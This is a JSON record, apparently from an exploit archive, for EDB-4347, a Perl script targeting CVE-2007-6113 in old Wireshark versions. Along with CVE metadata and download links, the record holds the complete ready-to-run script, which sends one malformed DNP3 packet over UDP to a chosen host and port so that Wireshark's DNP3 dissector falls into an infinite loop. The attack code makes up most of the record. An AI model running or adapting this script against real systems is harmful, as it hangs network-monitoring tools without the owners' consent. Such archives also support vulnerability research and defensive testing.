{"exploit":{"id":"EDB-4347","name":"Wireshark < 0.99.5 - DNP3 Dissector Infinite Loop","description":"Wireshark < 0.99.5 - DNP3 Dissector Infinite Loop","cves":["CVE-2007-6113"],"author":"Beyond Security","published":"2007-08-31","platform":"linux","type":"dos","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4347","path":"exploits/linux/dos/4347.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4347.pl","vulnerabilities":[{"id":"CVE-2007-6113","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer signedness error in the DNP3 dissector in Wireshark (formerly Ethereal) 0.10.12 to 0.99.6 allows remote attackers to cause a denial of service (long loop) via a malformed DNP3 packet.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-6113","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-6113"},"updatedAt":"2024-08-07T15:54:26.838Z","retrievedAt":"2026-11-26T22:07:17.476Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4347.png?v=2","url":"https://exploitbin.com/exploits/EDB-4347","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4347/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4347/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# Automatically generated by beSTORM(tm)\n# Copyright Beyond Security (c) 2003-2007 ($Revision: 3741 $)\n\n# Attack vector:\n# M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0\n\n# Module:\n# DNP3\n\nuse strict;\nuse warnings;\n\nuse Getopt::Std;\nuse IO::Socket::INET;\n\n$SIG{INT} = \\&abort;\n\nmy $host = '192.168.4.52';\nmy $port = 20000;\nmy $proto = 'udp';\nmy $sockType = SOCK_DGRAM;\nmy $timeout = 1;\n\n#Read command line arguments\nmy %opt;\nmy $opt_string = 'hH:P:t:';\ngetopts( \"$opt_string\", \\%opt );\n\nif (defined $opt{h}) {\n    usage()\n}\n\n$host = $opt{H} ? $opt{H} : $host;\n$port = $opt{P} ? $opt{P} : $port;\n$timeout = $opt{t} ? $opt{t} : $timeout;\n\nmy @commands = (\n{Command => 'Send',\n Data => \"\\x05\\x64\\x15\\xC2\\x01\\x00\\x00\\x00\\x00\\x00\\xC3\\xC0\\x01\\x01\\x00\". \"\\x01\\x07\\x08\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\"},\n{Command => 'Receive'},\n\n);\n\n###\n# End user configurable part\n###\n\n#1. Create a new connection\nmy $sock = new IO::Socket::INET (\n                PeerAddr => $host,\n    PeerPort => $port,\n    Proto => $proto,\n                Type => $sockType,\n                Timeout => $timeout,\n            )\n    or die \"socket error: $!\\n\\n\";\n\nprint \"connected to: $host:$port\\n\";\n\n$sock->autoflush(1);\nbinmode $sock;\n\n#2. communication part\n\nforeach my $command (@commands)\n{\n    if ($command->{'Command'} eq 'Receive')\n    {\n        my $buf = receive($sock, $timeout);\n        if (length $buf)\n        {\n            print \"received: [$buf]\\n\";\n        }\n    }\n    elsif ($command->{'Command'} eq 'Send')\n    {\n        print \"sending: [\".$command->{'Data'}.\"]\\n\";\n        send ($sock, $command->{'Data'}, 0) or die \"send failed, reason: $!\\n\";\n    }\n}\n\n#3. Close connection\nclose ($sock);\n\n#The end\n\nsub receive\n{\n my $sock = shift;\n my $timeout = shift;\n\n my $tmpbuf;\n my $buf = \"\";\n\n while(1)\n { # Example from perldoc -f alarm\n  eval {\n    local $SIG{ALRM} = sub { die \"timeout\\n\" };\n    alarm $timeout;\n\n    my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.\n    if ( !defined $ret or $ret == 0 )\n    { #EOF\n        die \"timeout\\n\";\n    }\n\n    alarm 0;\n    $buf .= $tmpbuf;\n  };\n  if ($@) { #time out\n    if($@ eq \"timeout\\n\")\n    {\n        last;\n    }\n    else {\n        die \"receive aborted\\n\";\n    }\n  }\n } #while\n return $buf;\n}\n\nsub abort\n{\n    print \"aborting...\\n\";\n    if ($sock)\n    {\n        close $sock;\n    }\n    die \"User aborted operation\\n\";\n}\nsub usage\n{\n print \"usage: $0 [-hHPt]\\n\";\n print \"-h\\t: this help message\\n\";\n print \"-H\\t: override default host - $host\\n\";\n print \"-P\\t: override default port - $port\\n\";\n print \"-t\\t: set socket timeout in seconds\\n\";\n exit 0;\n}\n\n# milw0rm.com [2007-08-31]","sha256":"78cb9b79ef38c096ebb1da29d8ea67010cd94b4e156ae1038ab493ab04ae6c54","bytes":2626,"fetchedAt":"2026-11-26T22:07:17.245Z","encoding":"utf-8 (display only; download retains original bytes)"}